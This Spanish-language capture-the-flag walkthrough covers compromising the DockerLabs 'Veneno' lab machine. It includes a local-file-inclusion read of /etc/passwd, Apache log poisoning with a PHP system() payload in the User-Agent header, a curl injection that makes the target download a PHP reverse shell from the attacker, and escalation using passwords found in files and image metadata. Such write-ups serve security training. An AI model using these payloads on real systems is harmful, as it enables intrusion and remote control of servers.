Veneno DockerLabs (Intermediate)

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip veneno.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_deploy.sh veneno.tar

Info:


                            ##        .         
                      ## ## ##       ==         
                   ## ## ## ##      ===         
               /""""""""""""""""\___/ ===       
          ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
               \______ o          __/           
                 \    \        __/            
                  \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____ 
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___] 
                                         
                                     

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-15 15:53 EST
Nmap scan report for cinema.dl (172.17.0.2)
Host is up (0.000034s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 89:9c:7b:99:95:b6:e8:03:5a:6a:d4:69:69:4a:8d:35 (ECDSA)
|_  256 ec:ec:90:44:4e:66:64:22:f6:8b:cd:29:d2:b5:60:6a (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.69 seconds

Si entramos en el puerto 80 veremos que es un apache2 normal, por lo que haremos un poco de fuzzing.

Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 100 -k

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd.html       (Status: 403) [Size: 275]
/.htaccess.php        (Status: 403) [Size: 275]
/.htpasswd            (Status: 403) [Size: 275]
/.htpasswd.php        (Status: 403) [Size: 275]
/.htaccess.txt        (Status: 403) [Size: 275]
/.htaccess.html       (Status: 403) [Size: 275]
/.htpasswd.txt        (Status: 403) [Size: 275]
/.htaccess            (Status: 403) [Size: 275]
/index.html           (Status: 200) [Size: 10671]
/problems.php         (Status: 200) [Size: 10671]
/server-status        (Status: 403) [Size: 275]
/uploads              (Status: 301) [Size: 310] [--> http://172.17.0.2/uploads/]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================

Vemos un sitio interesante llamado /problems.php vamos a ver que hay dentro.

URL = http://<IP>/problems.php

Vemos que es donde esta subido el apache2 normal, por lo que vamos a ver si tuviera algun parametro vulnerable.

FFUF

ffuf -u http://<IP>/problems.php?FUZZ=/etc/passwd -w <WORDLIST> -fs 10671

Info:

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://172.17.0.2/problems.php?FUZZ=/etc/passwd
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 10671
________________________________________________

backdoor                [Status: 200, Size: 1245, Words: 8, Lines: 26, Duration: 2ms]
:: Progress: [20469/20469] :: Job [1/1] :: 2531 req/sec :: Duration: [0:00:07] :: Errors: 0 ::

Vemos que hay uno llamado backdoor por lo que haremos lo siguiente:

Escalate user www-data

URL = http://<IP>/problems.php?backdoor=/etc/passwd

Info:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
carlos:x:1001:1001:,,,:/home/carlos:/bin/bash

Vemos que hay un usuario llamado carlos, pero si probamos a tirar fuerza bruta no sacaremos nada, por lo que vamos a ver si es vulnerable a un LOG POISONING.

URL = http://<IP>/problems.php?backdoor=/var/log/apache2/error.log

Vemos que las ultimas entradas son algo asi:

172.17.0.1 - - [16/Jan/2025:07:01:37 +1000] "GET /problems.php?backdoor=../../../var/www/apache2/error.log HTTP/1.1" 200 203 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [16/Jan/2025:07:02:16 +1000] "GET /problems.php?backdoor=/var/log/apache2/error.log HTTP/1.1" 200 485069 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [16/Jan/2025:07:02:33 +1000] "GET /problems.php?backdoor=/var/log/apache2/access.log HTTP/1.1" 200 487286 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"

Por lo que vamos a probar a enviar un comando a ver si lo ejecuta:

curl -A "<?php system('id'); ?>" http://<IP>/problems.php

Si recargamos el error.log vemos que la ultima entrada es:

172.17.0.1 - - [16/Jan/2025:07:05:12 +1000] "GET /problems.php HTTP/1.1" 200 10863 "-" "uid=33(www-data) gid=33(www-data) groups=33(www-data)

Por lo que se puede injectar comando, vamos hacernos una reverse shell aprovechando esto de la siguiente forma, nos vamos a descargar un archivo con una shell nuestra al directorio uploads/ que descubrimos anteriormente:

shell.php

<?php
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>

Una vez creado el archivo, tendremos que subirlo a la maquina y pasarlo a la carpeta uploads/:

python3 -m http.server
curl -A "<?php exec('curl http://<IP_ATTACKER>:8000/shell.php -o /var/www/html/uploads/shell.php'); ?>" http://<IP>/problems.php

Si recargamos el error.log vemos que en el servidor de python3 tendremos la siguiente salida:

172.17.0.2 - - [15/Jan/2025 16:14:54] "GET /shell.php HTTP/1.1" 200 -

Y si nos vamos a la carpeta uploads/ veremos que esta el archivo shell.php por lo que nos pondremos a la escucha:

nc -lvnp <PORT>

Y nos vamos a la siguiente direccion:

URL = http://<IP>/uploads/shell.php

Si nos vamos a donde tenemos la escucha, veremos lo siguiente:

listening on [any] 7777 ...
connect to [192.168.5.186] from (UNKNOWN) [172.17.0.2] 59298
whoami
www-data

Sanitización de shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Escalate user carlos

Si listamos los archivos que hay en la siguiente direccion del sistema:

ls -la /var/www/html/

Info:

total 40
drwxr-xr-x 1 root root  4096 Jun 29  2024 .
drwxr-xr-x 1 root root  4096 Jun 29  2024 ..
-rw-r--r-- 1 root root   163 Jun 29  2024 antiguo_y_fuerte.txt
-rw-r--r-- 1 root root 10671 Jun 29  2024 index.html
-rw-r--r-- 1 root root   157 Jun 29  2024 problems.php
drwxrwxrwx 1 root root  4096 Jan 16 07:14 uploads

Vemos que hay uno interesante llamado antiguo_y_fuerte.txt que si lo leemos veremos lo siguiente:

Es imposible que me acuerde de la pass es inhackeable pero se que la tenpo en el mismo fichero desde fa 24 anys. trobala buscala 

soy el unico user del sistema.

Vamos a buscar si hubiera algo con esa palabra:

find / -name "inhackeable*" 2>/dev/null

Info:

/usr/share/viejuno/inhackeable_pass.txt

Vemos que en la siguiente direccion hay un archivo que dice lo siguiente:

pinguinochocolatero

Por lo que podremos suponer que es la contraseña de carlos:

su carlos

Metemos como contraseña pinguinochocolatero y veremos que somos dicho usuario.

Escalate Privileges

Si vamos a la home de carlos vemos muchisimas carpetas, pero podremos filtrarlo por bytes de cuales tienen contenido y cuales no, para que nos muestre cuales no estan vacias:

du -sb * | awk '$1 != 4096 && $1 > 0 {print $2}'

Info:

carpeta55

Y vemos que esa carpeta no esta vacia, contiene lo siguiente:

-rw-r--r-- 1 root   root   627985 Jun 29  2024 .toor.jpg

Por lo que vemos es una imagen, por lo que vamos a pasarnosla a nuestro host para extraer metadatos a ver que vemos.

python3 -m http.server

Y desde el host haremos...

wget http://<IP>:8000/.toor.jpg

Info:

--2025-01-15 16:30:22--  http://172.17.0.2:8000/.toor.jpg
Connecting to 172.17.0.2:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 627985 (613K) [image/jpeg]
Saving to: ‘.toor.jpg’

.toor.jpg                               100%[============================================================================>] 613.27K  --.-KB/s    in 0.001s  

2025-01-15 16:30:22 (986 MB/s) - ‘.toor.jpg’ saved [627985/627985]

Ahora vamos a extraer los metadatos:

exiftool .toor.jpg

Info:

ExifTool Version Number         : 13.00
File Name                       : .toor.jpg
Directory                       : .
File Size                       : 628 kB
File Modification Date/Time     : 2024:06:28 20:19:05-04:00
File Access Date/Time           : 2025:01:15 16:30:22-05:00
File Inode Change Date/Time     : 2025:01:15 16:30:22-05:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Image Quality                   : pingui1730
Image Width                     : 2048
Image Height                    : 2048
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 2048x2048
Megapixels                      : 4.2

Vemos que en la parte de Image Quality vemos una palabra bastante interesante llamada pingui1730 por lo que podremos deducir que puede ser la contraseña de root.

su root

Metemos como contraseña pingui1730 y veremos que somos root, por lo que habremos terminado la maquina.

Last updated